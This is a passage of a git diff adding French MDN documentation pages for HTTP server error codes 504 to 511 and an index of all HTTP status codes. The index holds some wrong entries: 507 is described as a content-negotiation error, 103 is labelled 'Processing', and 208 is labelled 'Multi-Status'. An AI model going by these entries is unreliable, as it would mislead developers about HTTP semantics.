le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps.</p> + +<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">504 Gateway Timeout</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "504")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(502)}}</li> +</ul> diff --git a/files/fr/web/http/status/505/index.html b/files/fr/web/http/status/505/index.html new file mode 100644 index 0000000000..826a31eb82 --- /dev/null +++ b/files/fr/web/http/status/505/index.html @@ -0,0 +1,38 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/505 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">505 HTTP Version Not Supported</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> +</ul> diff --git a/files/fr/web/http/status/506/index.html b/files/fr/web/http/status/506/index.html new file mode 100644 index 0000000000..010112acf8 --- /dev/null +++ b/files/fr/web/http/status/506/index.html @@ -0,0 +1,35 @@ +--- +title: 506 Variant Also Negotiates +slug: Web/HTTP/Status/506 +tags: + - Erreur serveur + - HTTP + - Statut de réponse +translation_of: Web/HTTP/Status/506 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP <code><strong>506 Variant Also Negotiates</strong></code> peut être donné dans le contexte du protocol <code><strong>Transparent Content Negotiation</strong></code> (voir <a href="https://tools.ietf.org/html/rfc2295">RFC 2295</a>). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes.</p> + +<p>Le statut <code><strong>Variant Also Negotiates</strong></code> indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">506 Variant Also Negotiates</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}</td> + <td>Transparent Content Negotiation in HTTP</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/507/index.html b/files/fr/web/http/status/507/index.html new file mode 100644 index 0000000000..51d3061a4a --- /dev/null +++ b/files/fr/web/http/status/507/index.html @@ -0,0 +1,35 @@ +--- +title: 507 Insufficient Storage +slug: Web/HTTP/Status/507 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/507 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP <code><strong>507 Insufficient Storage</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code>(WebDAV) (voir <a href="https://tools.ietf.org/html/rfc4918">RFC 4918</a>).</p> + +<p>Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">507 Insufficient Storage</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("4918", "507 Insufficient Storage" , "11.5")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/508/index.html b/files/fr/web/http/status/508/index.html new file mode 100644 index 0000000000..7e97a0ac05 --- /dev/null +++ b/files/fr/web/http/status/508/index.html @@ -0,0 +1,36 @@ +--- +title: 508 Loop Detected +slug: Web/HTTP/Status/508 +tags: + - '508' + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/508 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP <code><strong>508 Loop Detected</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code> (WebDAV).</p> + +<p>Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox notranslate">508 Loop Detected</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("5842", "508 Loop Detected" , "7.2")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/510/index.html b/files/fr/web/http/status/510/index.html new file mode 100644 index 0000000000..cd2810ad85 --- /dev/null +++ b/files/fr/web/http/status/510/index.html @@ -0,0 +1,35 @@ +--- +title: 510 Not Extended +slug: Web/HTTP/Status/510 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/510 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>510 Not Extended</strong></code> est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le <a href="https://tools.ietf.org/html/rfc2774">RFC 2774</a>.</p> + +<p>Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">510 Not Extended</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("2774", "510 Not Extended" , "7")}}</td> + <td>Cadre pour les extensions HTTP (<em>An HTTP Extension Framework</em>)</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/511/index.html b/files/fr/web/http/status/511/index.html new file mode 100644 index 0000000000..d43db2371d --- /dev/null +++ b/files/fr/web/http/status/511/index.html @@ -0,0 +1,43 @@ +--- +title: 511 Network Authentication Required +slug: Web/HTTP/Status/511 +tags: + - HTTP + - HTTP Status Code + - Reference + - Server error + - Status code +translation_of: Web/HTTP/Status/511 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>511 Network Authentication Required</strong></code> indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau.</p> + +<p>Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau.</p> + +<p>Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}).</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">511 Network Authentication Required</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{Glossary("Proxy")}}</li> +</ul> diff --git a/files/fr/web/http/status/index.html b/files/fr/web/http/status/index.html new file mode 100644 index 0000000000..c49a6cca41 --- /dev/null +++ b/files/fr/web/http/status/index.html @@ -0,0 +1,188 @@ +--- +title: Codes de réponse HTTP +slug: Web/HTTP/Status +tags: + - HTTP + - Status codes + - TopicStub +translation_of: Web/HTTP/Status +--- +<div>{{HTTPSidebar}}</div> + +<p>Les codes de statut de réponse HTTP indiquent si une requête <a href="/en-US/docs/Web/HTTP">HTTP</a> a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: </p> + +<ol> + <li>Les réponses informatives (100 - 199),</li> + <li>Les réponses de succès (200 - 299),</li> + <li>Les redirections (300 - 399),</li> + <li>Les erreurs du client (400 - 499),</li> + <li> Les erreurs du serveur (500 - 599).</li> +</ol> + +<h2 id="Réponses_informatives">Réponses informatives</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}}</dt> + <dd>Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie.</dd> + <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> + <dd>Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur.</dd> + <dt>{{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}})</dt> + <dd>Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment.</dd> +</dl> + +<h2 id="Réponses_de_succès">Réponses de succès</h2> + +<dl> + <dt>{{HTTPStatus(200, "200 OK")}}</dt> + <dd>La requête a réussi. Le signification du succès peut varier selon la méthode HTTP :</dd> + <dd>GET : La ressource a été récupérée et est retransmise dans le corps du message.<br> + HEAD : Les en-têtes d'entité sont dans le corps du message.<br> + POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message.<br> + TRACE : Le corps du message contient le message de requête tel que reçu par le serveur</dd> + <dt>{{HTTPStatus(201, "201 Created")}}</dt> + <dd>La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT.</dd> + <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> + <dd>La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots.</dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> + <dd>Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable.</dd> + <dt>{{HTTPStatus(204, "204 No Content")}}</dt> + <dd>Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux.</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> + <dd>Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête.</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> + <dd>Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux.</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés.</dd> + <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection.</dd> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> + <dd>Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante.</dd> +</dl> + +<h2 id="Messages_de_redirection">Messages de redirection</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses.</dd> + <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> + <dd>Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse.</dd> + <dt>{{HTTPStatus(302, "302 Found")}}</dt> + <dd>Ce code de réponse indique que l'URI de la ressource demandée a été modifiée <em>temporairement</em>. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures.</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET.</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache.</dd> + <dt>{{HTTPStatus(305, "305 Use Proxy")}}</dt> + <dd>A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy.</dd> + <dt>{{HTTPStatus(306, "306 unused")}}</dt> + <dd>Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1.</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code <code>302 Found</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP <code>Location:</code>. Ce code a la même sémantique que le code <code>301 Moved Permanently</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd> +</dl> + +<h2 id="Réponses_derreur_côté_client">Réponses d'erreur côté client</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide.</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible.</dd> + <dt>{{HTTPStatus(402, "402 Payment Required")}}</dt> + <dd>Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement.</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse.</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web.</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, <code>GET</code> et <code>HEAD</code>, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur.</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}} </dt> + <dd>Cette réponse est envoyée quand le serveur web, après une <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">négotiation de contenu géré par le serveur</a>, ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur.</dd> +</dl> + +<dl> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>Similaire au code 401, sauf que l'identification doit être faite par un proxy.</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des <a href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">mécanismes de préconnexion HTTP</a> pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message.</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur.</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>Cette réponse est envoyée quand le contenu demandé est supprimé du serveur.</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>Le serveur a rejeté la requête car le champ d'en-tête <code>Content-Length</code> n'est pas défini et le serveur l'impose.</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas.</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête <code>Retry-After</code>.</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter.</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête.</dd> + <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> + <dd>La plage spécifiée par le champ d'en-tête <code>Range</code> de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé.</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête <code>Expect</code> n'ont pas pu être satisfaites par le serveur.</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>Le serveur refuse de brasser du café avec une théière.</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête.</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques.</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>La ressource qui est en train d'être consultée est verrouillée.</dd> +</dl> + +<dl> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>La requête a échoué à cause de l'échec d'une requête précédente.</dd> +</dl> + +<dl> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur <em>doit</em> envoyer un champ <code>Upgrade</code> dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) (<a href="https://tools.ietf.org/html/rfc7230#section-6.7">Section 6.7 de [RFC7230]</a>).</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit.</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>L'utilisateur a émis trop de requêtes dans un laps temps donné.</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes.</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement.</dd> +</dl> + +<h2 id="Réponses_derreur_côté_serveur">Réponses d'erreur côté serveur</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd>Le serveur a rencontré une situation qu'il ne sait pas traiter.</dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont <code>GET</code> et <code>HEAD</code>.</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide.</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête <code>Retry-After</code> doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache).</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps.</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>La version de HTTP utilisée dans la requête n'est pas supportée par le serveur.</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire.</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un n<span class="st">œ</span>ud terminal valable dans le processus de négociation.</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>Le serveur a détecté une boucle infinie en traitant la requête.</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête.</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau.</dd> + <dt> + <h2 id="Voir_aussi">Voir aussi</h2> + + <ul> + <li><a href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Liste des codes de statut HTTP sur Wikipedia</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">Registre officiel des codes de statut HTTP par l'IANA</a><span style="display: none;"> </span></li> + </ul> + </dt> +</dl> |